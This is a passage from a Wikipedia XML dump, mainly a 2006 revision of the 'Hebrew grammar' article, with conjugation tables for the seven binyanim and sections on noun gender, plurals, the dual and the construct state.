      <id>15911431</id>
      <timestamp>2004-03-05T02:29:16Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>-&gt; Hebrew language</comment>
      <text xml:space="preserve">#REDIRECT [[Hebrew language]]</text>
    </revision>
  </page>
  <page>
    <title>Hebrew morphology</title>
    <id>13844</id>
    <revision>
      <id>15911432</id>
      <timestamp>2004-03-02T19:51:06Z</timestamp>
      <contributor>
        <username>Nohat</username>
        <id>13661</id>
      </contributor>
      <comment>made into redirect; contents moved to [[Hebrew langage]]</comment>
      <text xml:space="preserve">#REDIRECT:[[Hebrew language]]</text>
    </revision>
  </page>
  <page>
    <title>Hebrew grammar</title>
    <id>13845</id>
    <revision>
      <id>41730820</id>
      <timestamp>2006-03-01T09:56:36Z</timestamp>
      <contributor>
        <username>Babajobu</username>
        <id>125012</id>
      </contributor>
      <minor />
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">:''This article is about the grammar of Modern Hebrew. For information on the various historical forms of Hebrew, see [[Hebrew language]].''

'''[[Hebrew language|Hebrew]] [[grammar]]''' is mostly [[analytic language|analytical]], expressing such forms as [[dative case|dative]], [[ablative case|ablative]], and [[accusative case|accusative]] using [[preposition]]al particles rather than [[declension|morphological cases]]. However, inflection does play an important role in the formation of the verbs, some prepositions, and the [[genitive case|genitive]] construct of nouns.

==Word order==
Word order of sentences is somewhat arbitrary, as sentences and clauses can be [[Subject Verb Object|Subject-Verb-Object (SVO)]] or [[Verb Subject Object|Verb-Subject-Object (VSO)]]. In order to keep the object separate from the subject, definite direct objects are marked with the special preposition את ''et'', which has no analog in English. For example, the first sentence of the Hebrew Bible is VSO: ...ברא אלוהים את השמים... ''...bara elohim et ha-shamayim...'' (...created God את the heavens...)

==== Adjectives ====
In Hebrew, adjectives follow nouns, unlike in English, where they precede them. Thus, in the sentence החתול הקטן אכל את הגבינה ''Ha-khatul ha-katan akhal et ha-g'vina'' (The small cat ate the cheese):

{|class=&quot;wikitable&quot;
| ''ha-g'vina'' || ''et'' || ''akhal'' || ''ha-katan'' || ''ha-khatul''
|-
| .הַגְּבִינָה || אֶת || אַכַל|| הַקָטָן || הֶחָתוּל
|-
| '''the cheese''' || object marker || '''ate''' || '''the small''' || '''the cat'''
|-
| ''object'' ||  || ''predicate'' || ''adjective'' || ''subject''
|-
|+ ''The&amp;nbsp;small&amp;nbsp;cat&amp;nbsp;ate&amp;nbsp;the&amp;nbsp;cheese.''  (Read&amp;nbsp;from&amp;nbsp;right&amp;nbsp;to&amp;nbsp;left).
|}

==Verbs==
The Hebrew word for verb is פועל ''po'al'', and as in English, verbs in Hebrew can express both action and status.  Hebrew verbs stem from a root (שֹרֶש ''shoresh''), consisting of 3 or 4 consonants, which is modified to bring the verb into different uses. Hebrew verbs can have one of 7 combinations of 4 [[Voice (grammar)|voices]] (active, passive, causative, and reflexive) and three tenses (past, present, and future).  Additionally, a verb can be conjugated into an imperative tense and into an infinitive. 

===Classification of roots===
A root is classified according to the letters that appear in it. Roots that contain certain letters are conjugated differently.

Roots that contain a ו ''vav'' as the 2nd letters are called hollow roots. The ו ''vav'' rarely appears in any conjugation and it is usually not written as part of the root. These are often treated as 2-letter roots. Examples of hollow roots: שר ''shar'' (sang), גר ''gar'' (lived), דן ''dan'' (discussed), דג ''dag'' (fished).

Roots that contain at least one of the weak letters, י ''yod'', נ ''nun'', ח ''khet'', ע ''ayin'', א ''alef'', and ה ''hei'', are called weak roots. Each weak letter/position pairing results in a slightly different conjugation pattern. The largest group of these are those that end with ה ''hei''. Examples of weak roots: שתה ''shata'' (drank), עלה ''ala'' (went up), ירד ''yarad'' (went down), נפל ''nafal'' (fell).

Roots that do no fit into the other 2 categories are called strong or complete roots.

===Voice: the ''binyan''===
Verb roots can be conjugated according to one of seven forms, בניינים ''binyanim'' (buildings), which generally indicate the [[voice (grammar)|voice]] of the verb. Most roots are only conjugated in two to five of the seven buildings.

{|class=&quot;wikitable&quot;
| ''Pa'al'' ||align=right| פָּעַל || simple active
|-
| ''Nif'al'' ||align=right| נִפְעַל || usually, passive or reflexive of ''pa'al''
|-
| ''Pi'el'' ||align=right| פִּעֵל || simple active; often, intensive of ''pa'al''
|-
| ''Pu'al'' ||align=right| פֻּעַל || passive of ''pi'el''
|-
| ''Hif'il'' ||align=right| הִפְעִיל || usually, causative of ''pa'al'' or ''pi'el''
|-
| ''Huf'al'' ||align=right| הֻפְעַל || passive of ''hif'il''
|-
| ''Hitpa'el'' ||align=right| הִתְפַּעֵל || usually, reflexive or reciprocal of ''pa'al'' or ''pi'el''
|-
|+ The seven verb forms or ''binyanim''.
|}

{| class=&quot;wikitable&quot;
|-
! || Active || Passive || Reflexive
|-
| '''Simple'''
| פָּעַל ''pa'al'' 
| colspan=2 align=center| נִפְעַל ''nif'al''
|-
| '''Intense'''
| פִּעֵל ''pi'el''
| פֻּעַל ''pu'al''
| הִתְפַּעֵל ''hitpa'el''
|-
| '''Causative'''
| הִפְעִיל ''hif'il''
| הֻפְעַל ''huf'al''
| bgcolor=white|
|}

For example, using the root k-t-v (כתב), we might find the forms:

{|class=&quot;wikitable&quot;
! Form || Transliteration || Hebrew || Translation
|-
| ''Pa'al'' || '''katavti''' ||align=right| '''כָּתַּבתִי''' || first-person singular, past tense, active voice: “I wrote”
|-
| ''Nif'al'' || '''nikhtavim''' ||align=right| '''נִכתַּבִים''' || masculine plural, present tense, passive voice: “they are being written”
|-
| ''Hif'il'' || '''hakhtivi''' ||align=right| '''הַכתִּבִי''' || feminine singular, imperative: “dictate!”
|-
| ''Hitpa'el'' || '''yitkatev''' ||align=right| '''יִתכַּתֶב''' || third-person masculine singular, future tense: “he will correspond”
|}

There are relationships between these forms, described below. Although they often accurately describe the relationship between the binyanim, there are many exceptions.

==== Intensification: ''pa'al'' to ''pi'el'' ====
''Pa'al'' and ''pi'el'' are both really &quot;simple active&quot; forms and usually mutually exclusive; verbs that can be conjugated into one form cannot usually be conjugated into the other.  But of those verbs which can be conjugated into both, the ''pi'el'' form connotes an intensified form of the ''pa'al'' form.

{|class=&quot;wikitable&quot;
! Form || Transliteration || Hebrew || Translation
|-
| ''Pa'al'' || '''shavar''' ||align=right| '''שָׁבַר''' || Break
|-
| ''Pi'el'' || '''shiber''' ||align=right| '''שִׁבֵּר''' || Shatter
|}

==== The interpersonal triangle: ''pi'el'', ''pu'al'', ''hitpa'el'' ====
Often the ''pi'el'', ''pu'al'' and ''hitpa'el'' forms form a triangle of actions taken between two people (or between a person and his or herself). For instance, from the root g-l-kh (גלח):

{|class=&quot;wikitable&quot;
! Form || Transliteration || Hebrew || Translation
|-
| ''Pi'el'' || '''gile'akh''' ||align=right| '''גִלֵחַ'''|| to shave (someone)
|-
| ''Pu'al'' || '''gulakh''' ||align=right| '''גֻלַּח''' ||  to be shaved (by someone)
|-
| ''Hitpa'el'' || '''hitgale'akh''' ||align=right| '''הִתְגַּלֵּחַ''' || to shave (oneself)
|}

==== Causative and co-operative: ''hif'il'', ''hitpa'el'' ====
''Hif'il'' is usually the causative of the ''pa'al'' or ''pi'el'' and the ''hitpa'el'' is usually the reflexive, co-operative or &quot;continuous passive&quot;. An example, with k-t-v (כתב):

{|class=&quot;wikitable&quot;
! Form || Transliteration || Hebrew || Translation
|-
| ''Pa'al'' || '''katav''' ||align=right| '''כָּתַב'''|| to write
|-
| ''Nif'al'' || '''nikhtav''' ||align=right| '''נִכְתּב''' || to be written
|-
| ''Hif'il'' || '''hikhtiv''' ||align=right| '''הִכְתּיב''' || to dictate
|-
| ''Huf'al'' || '''hukhtav''' ||align=right| '''הֻכְתּב''' || to be dictated
|-
| ''Hitpa'el'' || '''hitkatev''' ||align=right| '''הִתְכַּתֵּב''' || to correspond (with)
|}

''Hitgale'akh'' is an example of reflexive ''hitpa'el'' and ''hitkatev'' is reciprocal ''hitpa'el''. However, there also exists a sort of &quot;continuous passive&quot; '''hitpa'el'''. With the root tz-l-m (צלמ):

{|class=&quot;wikitable&quot;
! Form || Transliteration || Hebrew || Translation
|-
| ''Pi'el'' || '''tzilem''' ||align=right| '''צִלֵּם''' || to photograph
|-
| ''Pu'al'' || '''tzulam''' ||align=right| '''צֻלַּם''' || to be photographed
|-
| ''Hitpa'el'' || '''hitz'talem''' ||align=right| '''הִצְטַלֵּם''' || to become photographed
|}

The difference between tzulam and hitz'talem is this. ''Ani m'tzulam'' (אֲנִי מְצֻלָּם) means ''I am photographed'' (there exists a photo of me) while ''ani mitz'talem'' (אֲנִי מִצְטַלֵּם) means ''I am being photographed'' (I am in the act of being photographed).

===Tense===
Once a verb is cast into a certain form, it then undergoes conjugation into one of the three tenses: past, present, and future.

====Present tense====
A verb in the present tense (הוֹוֶה ''hove'') agrees with its subject in gender (masculine or feminine) and number (singular or plural), such that each verb has four present-tense forms:

{|class=&quot;wikitable&quot;
! rowspan=2 | Form
! rowspan=2 | Root
! colspan=2 | Singular
! colspan=2 | Plural
! rowspan=2 | Translation
|-
! M || F || M || F
|-
| rowspan=2| ''Pa'al'' ||align=center| שמר ||align=center| שׁוֹמֵר ||align=center| שׁוֹמֶרֶת ||align=center| שׁוֹמְרִים ||align=center| שׁוֹמְרוֹת ||rowspan=2 align=center| Guards
|-
| align=center| sh-m-r ||align=center| shomer ||align=center| shomeret ||align=center| shomrim ||align=center| shomrot
|-
| rowspan=2| ''Nif'al'' ||align=center| שמר ||align=center| נִשְׁמָר ||align=center| נִשְׁמֶרֶת ||align=center| נִשְׁמָרִים ||align=center| נִשְמָרוֹת ||rowspan=2 align=center| Is guarded
|-
| align=center| sh-m-r ||align=center| nishmar ||align=center| nishmeret ||align=center| nishmarim ||align=center| nishmarot
|-
| rowspan=2| ''Hif'il'' ||align=center| קטנ ||align=center| מַקְטִין ||align=center| מַקְטִינָה ||align=center| מַקְטִינִים ||align=center| מַקְטִינוֹת ||rowspan=2 align=center| Shrinks (something)
|-
| align=center| k-t-n ||align=center| maktin ||align=center| maktina ||align=center| maktinim ||align=center| maktinot
|-
| rowspan=2| ''Huf'al'' ||align=center| קטנ ||align=center| מֻקְטָן ||align=center| מֻקְטֶנֶת ||align=center| מֻקְטָנִים ||align=center| מֻקְטָנוֹת ||rowspan=2 align=center| Is shrunken by
|-
| align=center| k-t-n ||align=center| muktan ||align=center| muktenet ||align=center| muktanim ||align=center| muktanot
|- 
| rowspan=2| ''Pi'el'' ||align=center| גדל ||align=center| מְגַדֵּל ||align=center| מְגַדֶּלֶת ||align=center| מְגַדְּלִים ||align=center| מְגַדְּלוֹת ||rowspan=2 align=center| Raises, grows (something)
|-
| align=center| g-d-l ||align=center| m'gadel ||align=center| m'gadelet ||align=center| m'gadlim ||align=center| m'gadlot
|-
| rowspan=2| ''Pu'al'' ||align=center| גדל ||align=center| מְגוּדָּל ||align=center| מְגוּדֶּלֶת ||align=center| מְגוּדָּלִים ||align=center| מְגוּדָּלוֹת ||rowspan=2 align=center| Is raised
|-
| align=center| g-d-l ||align=center| m'gudal ||align=center| m'gudelet ||align=center| m'gudalim ||align=center| m'gudalot
|-
| rowspan=2| ''Hitpa'el'' ||align=center| בטל ||align=center| מִתְבַּטֵּל ||align=center| מִתְבַּטֶּלֶת ||align=center| מִתְבַּטְּלִים ||align=center| מִתְבַּטְּלוֹת ||rowspan=2 align=center| Belittles oneself, loafs
|-
| align=center| b-t-l ||align=center| mitbatel ||align=center| mitbatelet ||align=center| mitbatlim ||align=center| mitbatlot
|-
|+ Example conjugations in the present tense.
|}

====Past tense====
A verb in the past tense (עָבָר ''avar'') agrees with its subject in person (first, second, or third) and number, and in the second-person singular and plural and third-person singular, gender.

{|class=&quot;wikitable&quot;
! rowspan=3| Form ||rowspan=3| Root ||colspan=5| Singular ||colspan=4| Plural
|-
! rowspan=2| I ||colspan=2| You ||rowspan=2| He ||rowspan=2| She ||rowspan=2| We ||colspan=2| You ||rowspan=2| They
|-
! M || F || M || F
|-
| rowspan=2| ''Pa'al'' ||align=center| שמר ||align=center| שָׁמַרְתִּי ||align=center| שָׁמַרְתָּ ||align=center| שׁמַרתְּ ||align=center| שָׁמַר || align=center| שָׁמְרָה ||align=center| שָׁמַרְנוּ ||align=center| שְׁמַרתֶּם ||align=center| שְׁמַרתֶּן ||align=center| שָׁמְרוּ
|-
| align=center| sh-m-r ||align=center| shamarti ||align=center| shamarta ||align=center| shamart ||align=center| shamar ||align=center| shamra ||align=center| shamarnu ||align=center| shmartem ||align=center| shmarten ||align=center| shamru
|-
| rowspan=2| ''Nif'al'' ||align=center| שמר ||align=center| נִשְׁמַרְתִּי ||align=center| נִשְׁמַרְתָּ ||align=center| נִשְׁמַרְתְּ||align=center| נִשְׁמַר || align=center| נִשְׁמְרָה ||align=center| נִשְׁמַרְנוּ ||align=center| נִשְׁמַרְתֶּם ||align=center| נִשְׁמַרְתֶּן ||align=center| נִשְׁמְרוּ 
|-
| align=center| sh-m-r ||align=center| nishmarti ||align=center| nishmarta ||align=center| nishmart ||align=center| nishmar ||align=center| nishm'ra ||align=center| nishmarnu ||align=center| nishmartem ||align=center| nishmarten ||align=center| nishm'ru
|-
| rowspan=2| ''Hif'il'' ||align=center| קטנ ||align=center| הִקְטַנְתִּי ||align=center| הִקְטַנְתָּ ||align=center| הִקְטַנְתְּ ||align=center| הִקְטִין || align=center| הִקְטִינָה ||align=center| הִקְטַנּוּ ||align=center| הִקְטַנְתֶּם ||align=center| הִקְטַנְתֶּן ||align=center| הִקְטִינוּ
|-
| align=center| k-t-n ||align=center| hiktanti ||align=center| hiktanta ||align=center| hiktant ||align=center| hiktin ||align=center| hiktina ||align=center| hiktanu ||align=center| hiktantem ||align=center| hiktanten ||align=center| hiktinu
|-
| rowspan=2| ''Huf'al'' ||align=center| קטנ ||align=center| הֻקְטַנְתִּי ||align=center| הֻקְטַנְתָּ ||align=center| הֻקְטַנְתְּ ||align=center| הֻקְטַן || align=center| הֻקְטְנָה ||align=center| הֻקְטַנּוּ ||align=center| הֻקְטַנְתֶּם ||align=center| הֻקְטַנְתֶּן ||align=center| הֻקְטְנוּ
|-
| align=center| k-t-n ||align=center| huktanti ||align=center| huktanta ||align=center| huktant ||align=center| huktan ||align=center| hukt'na ||align=center| huktanu ||align=center| huktantem ||align=center| huktanten ||align=center| hukt'nu
|-
| rowspan=2| ''Pi'el'' ||align=center| גדל ||align=center| גִּדַּלְתִּי ||align=center| גִּדַּלְתָּ ||align=center| גִּדַּלְתְּ ||align=center| גִּדֵּל || align=center| גִּדְּלָה ||align=center| גִּדַּלְנוּ ||align=center| גִּדַּלְתֶּם ||align=center| גִּדַּלְתֶּן ||align=center| גִּדְּלוּ
|-
| align=center| g-d-l ||align=center| gidalti ||align=center| gidalta ||align=center| gidalt ||align=center| gidel ||align=center| gidla ||align=center| gidalnu ||align=center| gidaltem ||align=center| gidalten ||align=center| gidlu
|-
| rowspan=2| ''Pu'al'' ||align=center| גדל ||align=center| גֻּדַּלְתִּי ||align=center| גֻּדַּלְתָּ ||align=center| גֻּדַּלְתְּ ||align=center| גֻּדַּל || align=center| גֻּדְּלָה ||align=center| גֻּדַּלְנוּ ||align=center| גֻּדַּלְתֶּם ||align=center| גֻּדַּלְתֶּן ||align=center| גֻּדְּלוּ
|-
| align=center| g-d-l ||align=center| gudalti ||align=center| gudalta ||align=center| gudalt ||align=center| gudal ||align=center| gudla ||align=center| gudalnu ||align=center| gudaltem ||align=center| gudalten ||align=center| gudlu
|-
| rowspan=2| ''Hitpa'el'' ||align=center| בטל ||align=center| הִתְבַּטַּלְתִּי ||align=center| הִתְבַּטַּלְתָּ ||align=center| הִתְבַּטַּלְתְּ ||align=center| הִתְבַּטֵּל || align=center| הִתְבַּטְּלָה ||align=center| הִתְבַּטַּלְנוּ ||align=center| הִתְבַּטַּלְתֶּם ||align=center| הִתְבַּטַּלְתֶּם ||align=center| הִתְבַּטְּלוּ
|-
| align=center| b-t-l ||align=center| hitbatalti ||align=center| hitbatalta ||align=center| hitbatalt ||align=center| hitbatel ||align=center| hitbatla ||align=center| hitbatalnu ||align=center| hitbataltem ||align=center| hitbatalten ||align=center| hitbatlu 
|-
|+ Example conjugations in the past tense.
|}

Personal pronouns are not necessary in the past tense and are often dropped, although colloquially they are sometimes used in the third person.

====Future tense====
A verb in the future tense (עָתִיד ''atid'') agrees with its subject in person and number, and in the second- and third-person singular, gender. The second-person singular masculine and third-person singular feminine forms are identical for all verbs in the future tense. Historically, there were separate feminine forms for the second- and third-person plural (with a נָה- ''nah'' ending, as in תְּשַׁמֵּרְנָה ''tishmarnah'' or תִּגְדַּלְנָה ''tigdalnah''), but these are nowadays considered very archaic.

{|class=&quot;wikitable&quot;
! rowspan=3| Form ||rowspan=3| Root ||colspan=5| Singular ||colspan=5| Plural
|-
! rowspan=2| I ||colspan=2| You ||rowspan=2| He ||rowspan=2| She ||rowspan=2| We ||rowspan=2| You ||rowspan=2| They
|-
! M || F 
|-
| rowspan=2| ''Pa'al'' || align=center| שמר ||align=center| אֶשְׁמוֹר ||align=center| תִּשְׁמוֹר ||align=center| תִּשְׁמְרִי ||align=center| יִשְׁמוֹר ||align=center| תִּשְׁמוֹר ||align=center| נִשְׁמוֹר ||align=center| תִּשְׁמְרוּ ||align=center| יִשְׁמְרוּ
|-
| align=center| sh-m-r ||align=center| eshmor ||align=center| tishmor ||align=center| tishmeri ||align=center| yishmor ||align=center| tishmor ||align=center| nishmor ||align=center| tishmeru ||align=center| yishmeru
|-
| rowspan=2| ''Nif'al'' || align=center| שמר ||align=center| אֶשָּׁמֵר ||align=center| תִּישָּׁמֵר ||align=center| תִּישָּׁמְרִי ||align=center| יִישָּׁמֵר ||align=center| תִּישָּׁמֵר ||align=center| נִישָּׁמֵר ||align=center| תִּישָּׁמְרוּ ||align=center| יִישָּׁמְרוּ
|-
| align=center| sh-m-r ||align=center| eshamer ||align=center| tishamer ||align=center| tishamri ||align=center| yishamer ||align=center| tishamer ||align=center| nishamer ||align=center| tishamru ||align=center| yishamru
|-
| rowspan=2| ''Hif'il'' || align=center| קטנ ||align=center| אַקְטִין ||align=center| תַּקְטִין ||align=center| תַּקְטִינִי ||align=center| יַקְטִין ||align=center| תַּקְטִין ||align=center| נַקְטִין ||align=center| תַּקְטִינוּ ||align=center| יַקְטִינוּ
|-
| align=center| k-t-n ||align=center| aktin ||align=center| taktin ||align=center| taktini ||align=center| yaktin ||align=center| taktin ||align=center| naktin ||align=center| taktinu ||align=center| yaktinu
|-
| rowspan=2| ''Huf'al'' || align=center| קטנ ||align=center| אוֹקְטַן ||align=center| תּוֹקְטַן ||align=center| תּוֹקְטְנִי ||align=center| יוֹקְטַן ||align=center| תּוֹקְטַן ||align=center| נוֹקְטַן ||align=center| תּוֹקְטְנוּ ||align=center| יוֹקְטְנוּ
|-
| align=center| k-t-n ||align=center| uktan ||align=center| tuktan ||align=center| tukteni ||align=center| yuktan ||align=center| tuktan ||align=center| nuktan ||align=center| tuktenu ||align=center| yuktenu
|-
| rowspan=2| ''Pi'el'' ||align=center| גדל ||align=center| אֲגַדֵּל ||align=center| תְּגַדֵּל ||align=center| תְּגַדֵּלִי ||align=center| יְגַדֵּל ||align=center| תְּגַדֵּל ||align=center| נְגַדֵּל ||align=center| תְּגַדְּלוּ ||align=center| יְגַדְּלוּ
|-
| align=center| g-d-l ||align=center| agadel ||align=center| t'gadel ||align=center| t'gadli ||align=center| y'gadel ||align=center| t'gadel ||align=center| n'gadel ||align=center| t'gadlu ||align=center| y'gadlu
|-
| rowspan=2| ''Pu'al'' ||align=center| גדל ||align=center| אֲגוֹדַּל ||align=center| תְּגוֹדַּל ||align=center| תְּגוֹדְּלִי ||align=center| יְגוֹדַּל ||align=center| תְּגוֹדַּל ||align=center| נְגוֹדַּל ||align=center| תְּגוֹדְּלוּ ||align=center| יְגוֹדְּלוּ
|-
| align=center| g-d-l ||align=center| ugudal ||align=center| tugudal ||align=center| tugudli ||align=center| yugudal ||align=center| tugudal ||align=center| nugudal ||align=center| tugudlu ||align=center| yugudlu
|-
| rowspan=2| ''Hitpa'el'' ||align=center| בטל ||align=center| אֶתְבַּטֵּל ||align=center| תִּתְבַּטֵּל ||align=center| תִּתְבַּטְּלִי ||align=center| יִתְבַּטֵּל ||align=center| תִּתְבַּטֵּל ||align=center| נִתְבַּטֵּל ||align=center| תִּתְבַּטְּלוּ ||align=center| יִתְבַּטְּלוּ 
|-
| align=center| b-t-l ||align=center| etbatel ||align=center| titbatel ||align=center| titbatli ||align=center| yitbatel ||align=center| titbatel ||align=center| nitbatel ||align=center| titbatlu ||align=center| yitbatlu
|-
|+ Example conjugations in the future tense.
|}

Like the past tense, personal pronouns are not strictly necessary in the future tense, as the verb forms are sufficient to identify the subject, but colloquially they are frequently used.

===Imperative===
Except for the strictly passive binyanim (''pu'al'' and ''huf'al''), each binyan has distinct imperative forms in the second person. This imperative form is only used for affirmative commands. ''Pa'al'', ''nif'al'', ''pi'el'', and ''hif'il'' form their imperatives by dropping the initial ת of the future-tense form (e.g., ''tiftakh'' (singular, masc.) &amp;rarr; ''ptakh!'' &quot;open!&quot;, ''tishm'ri'' (singular, fem.) &amp;rarr; ''shimri!'' &quot;guard!&quot;); the fifth, ''hitpa'el'', forms its imperative by replacing this initial ת with ה (''titbatel'' &amp;rarr; ''hitbatel'' &quot;do nothing!&quot;).

Negative commands use the particle אל ''al'' followed by the future-tense form. For example, ''al tid'ag'' means &quot;don't worry&quot; (masculine, singular).

The future tense is commonly used for affirmative commands when making requests, so that for example, ''tiftakh'' can mean either &quot;you will open&quot; or &quot;open&quot; (masculine, singular).

The infinitive can be used as a &quot;general imperative&quot; when addressing nobody in particular (e.g. on signs, or when giving general instructions to children or large groups), so that for example, ''lo liftoakh'' can mean either &quot;not to open&quot; or &quot;no opening,&quot; &quot;no one open.&quot;

===Participles ===  

Present participles are identical to present tense forms: ''nerot bo'arim'' (burning candles), ''ha-yalda hi maksima'' (the girl is charming).

Only the pa'al binyan has a true past participle: from k-t-v we have ''katuv'', (written). This gives Hebrew a limited ability to distinguish between a completed action, e.g.:

*''ha-sfarim ketuvim'' (the books have been written)

And, using the present tense of nif'al, which is often the passive of pa'al, a continuing action:

*''ha-sfarim nikhtavim'' (the books are being written)

The passive participle is commonly used as an adjective, as in ''ha-p'kuda ha-katuva'' (the written order).

The present tense of the pu'al and huf'al are used as passive participles for the pi'el and hif'il respectively, e.g. from hif'il ''he'ir'' (light up) we get ''kheder mu'ar'' (illuminated room).

===Infinitives===
Infinitives (''shem hapo'al'') in Hebrew are primarily formed by adding the letter lamed (ל) to the front of the word. The vowels change systematically according to the binyan. 

*כתב ''katav'' (wrote, pa'al) &amp;rarr; לכתוב ''likhtov'' (to write)

*מדבר ''m'daber'' (speak, pi'el) &amp;rarr; לדבר ''l'daber'' (to speak)

*התחיל ''hitkhil'' (start, hif'il) &amp;rarr; להתחיל ''l'hatkhil'' (to start)

*התפלל ''hitpalel'' (pray, hit'pael) &amp;rarr; להתפלל ''l'hitpalel'' (to pray)

*נפגש ''nifgash'' (meet with, nif'al) &amp;rarr; להיפגש ''l'hipagesh'' (to meet with)

There is no infinitive for Pu'al or Huf'al verbs.

===Gerunds ===  

Gerunds (''shmot pe'ula'') are nouns expressing an action. Gerunds are created in Hebrew by putting the root of a verb in a &quot;mishkal&quot; (which will be explained more thoroughly in the &quot;Nouns&quot; later on). Four of the binyanim have gerunds: pa'al, pi'el, hif'il, and hitpa'el. For example:

*שמר  ''shamar'' (guarded &amp;mdash; pa'al) &amp;rarr; שמירה ''sh'mira'' (guarding)
**שב ''shav'' (returned &amp;mdash; hollow pa'al) &amp;rarr; שיבה ''shiva'' (a return)
**שתה  ''shata'' (drank &amp;mdash; weak pa'al) &amp;rarr; שתייה ''sh'tiya'' (drinking)
*ביקר ''biker'' (visited &amp;mdash; pi'el) &amp;rarr; ביקור ''bikur'' (a visit)
*הפתיע ''hiftia'' (surprised &amp;mdash; hif'il) &amp;rarr; הפתעה ''hafta'a'' (a surprise)
*התחמם ''hitkhamem'' (warmed up &amp;mdash; hitpa'el) &amp;rarr; התחממות ''hitkham'mut'' (warming)

==Nouns==  
The Hebrew word for &quot;noun&quot; is שם עצם ''shem etsem''.
   
Hebrew nouns are inflected by gender, number (and sometimes by possession) but not by [[grammatical case|case]]. Nouns are generally correlated to verbs (by shared roots), but their forming is not as systematic, often due to [[loanword|loanwords]] from foreign languages.  
   
===Gender===  
Hebrew distinguishes between masculine nouns&amp;mdash;such as ספר ''sefer'' (book)&amp;mdash;and feminine nouns&amp;mdash;such as דלת ''delet'' (door). 

Feminine nouns can generally be identified by the characteristic endings -a, or -t. There are a large number of nouns, especially ancient ones, that are in some way irregular in their gender. For example, זית ''zayit'' (olive) has a feminine ending, but is masculine and has a masculine plural. עיר ''ir'' (city) has a masculine ending and a masculine plural, but is feminine and takes feminine adjectives.
   
===Number===  
Generally, Hebrew distinguishes between singular and plural forms of a noun. 

Masculine nouns generally form their plural by adding ''-im'':
*מחשב ''makhshev'' (computer) &amp;rarr; מחשבים ''makhshevim''

The addition of the extra syllable often causes the vowel in the first syllable to shorten:
*דבר ''davar'' (thing) &amp;rarr; דברים ''d'varim''

Many common two-syllable masculine nouns, called ''segolates'' because most (but not all) of them have the vowel ''segol'' (''-e-'') in both syllables, undergo more drastic characteristic vowel changes in the plural:
*ילד ''yeled'' (boy) &amp;rarr; ילדים ''y'ladim''
*בוקר ''boker'' (morning) &amp;rarr; בקרים ''b'karim''
*חדר ''kheder'' (room) &amp;rarr; חדרים ''khadarim''

Feminine nouns ending in ''-a'' or ''-at'' generally drop this ending and add ''-ot'', usually without any vowel changes:
*מיטה ''mita'' (bed) &amp;rarr; מיטות ''mitot''
*מסעדה ''mis'ada'' (restaurant) &amp;rarr; מסעדות ''mis'adot''
*צלחת ''tsalakhat'' (plate) &amp;rarr; צלחות ''tsalakhot''

Nouns ending in ''-et'' also replace this ending with ''-ot'', with an ''-e-'' in the preceding syllable usually changing to ''-a'':
*מחברת ''makhberet'' (notebook) &amp;rarr; מחברות ''makhbarot''

Nouns ending in ''-ut'' replace this ending with ''-uyot'':
*חנות ''khanut'' (store) &amp;rarr; חנויות ''khanuyot''

Similarly, nouns ending in ''-it'' replace this ending with ''-iyot'':
*אשכולית ''eshkolit'' (grapefruit) &amp;rarr; אשכוליות ''eshkoliyot''

====Plural exceptions====
A large number of masculine nouns take the &quot;feminine&quot; ending ''-ot'' in the plural:
*מקום ''makom'' (place) &amp;rarr; מקומות ''m'komot''
*חלון ''khalon'' (window) &amp;rarr; חלונות ''khalonot''

A small number of feminine nouns take the &quot;masculine&quot; ending ''-im'':
*מילה ''mila'' (word) &amp;rarr; מילים ''milim''
*שנה ''shana'' (year) &amp;rarr; שנים ''shanim''

Many plurals simply cannot be predicted from the singular at all and must be separately memorized:
*עיר ''ir'' (city) &amp;rarr; ערים ''arim''
*עפרון ''iparon'' (pencil) &amp;rarr; עפרונות ''efronot''
*איש ''ish'' (man/person) &amp;rarr; אנשים ''anashim''

====Dual====
Hebrew also has a dual number, expressed in the ending ''-ayim'', but even in ancient times its use was very restricted. In modern times it is used in expressions of time and number. These nouns have plurals as well, which are used for numbers higher than two, for example:

{|
! Singular || Double || Triple
|-
| פעם אחת ''pa'am akhat'' (once)
| פעמיים ''pa'amayim'' (twice) 
| שלוש פעמים ''shalosh pa'amim'' (thrice)
|-
| שבוע אחד ''shavua ekhad'' (one week)
| שבועיים ''shavuayim'' (two weeks)
| שלושה שבועות ''shalosha shavuot'' (three weeks)
|-
| מאה ''mei'a'' (one hundred)
| מאתיים ''ma'atayim'' (two hundred)
| שלוש מאות ''shalosh me'ot'' (three hundred)
|}

The dual is also used for some body parts, for instance:

*רגל ''regel'' (leg) &amp;rarr; רגליים ''raglayim'' (legs)
*אוזן ''ozen'' (ear) &amp;rarr; אוזניים ''oznayim'' (ears)

In this case, even if there are more than two, the dual is still used, for instance לכלב יש ארבע רגליים ''l'kelev yeish arba raglayim'' (a dog has four legs).

The dual is also used for certain objects that are &quot;inherently&quot; dual. These words have no singular, for instance משקפיים ''mishkafayim'' (eyeglasses) and מספריים ''misparayim'' (scissors). As in the English &quot;two pairs of pants&quot;, the plural of these words uses the word זוג ''zug'' (pair), e.g. שני זוגות מספריים ''shnai zugot misparayim'' (two pairs of scissors).

===Noun construct===
Hebrew's [[genitive case]] is achieved by placing two nouns next to each other. This is called a noun construct, or סמיכות ''s'mikhut''. The second noun can be viewed as an adjective modifying the first noun.

The first noun in a noun construct must be in its ''construct form''. The construct form can generally be derived easily:
*The masculine plural ending ים- ''-im'' changes to י- ''-ei''
*The feminine singular ending ה- ''-a'' changes to ת- ''-'at''

There are many words (usually ancient ones) that have other changes in vocalization in the construct form. For example, the construct form of בית ''bayit'' (house) is ''beit''.

In addition, the definite article is placed on the second word. 

*בית ספר ''beit sefer'' (a school) literally, &quot;house of book&quot; or &quot;book house&quot;
*בית הספר ''beit ha-sefer'' (the school)
*בתי חולים ''b'tei kholim'' (hospitals) literally, &quot;houses of sick people&quot; or &quot;sick people houses&quot;
*עוגת השוקולד ''ugat ha-shokolad'' (the chocolate cake)
*דואר אוויר ''do'ar avir'' (air mail)
*כלב רחוב ''kelev r'khov'' (a street dog)
*בקבוק החלב ''bakbuk ha-khalav'' (the bottle of milk)

===Possession=== 
Possession is generally indicated by conjugating the possessive [[pronoun]] של ''shel'' (of, belonging to):
*הספר שלי ''ha-sefer sheli'' (my book)
*הדירה שלך ''ha-dira shelkha'' (your apartment).
*המשחק של אנדר ''ha-miskhak shel ender'' ([[Ender's Game]])

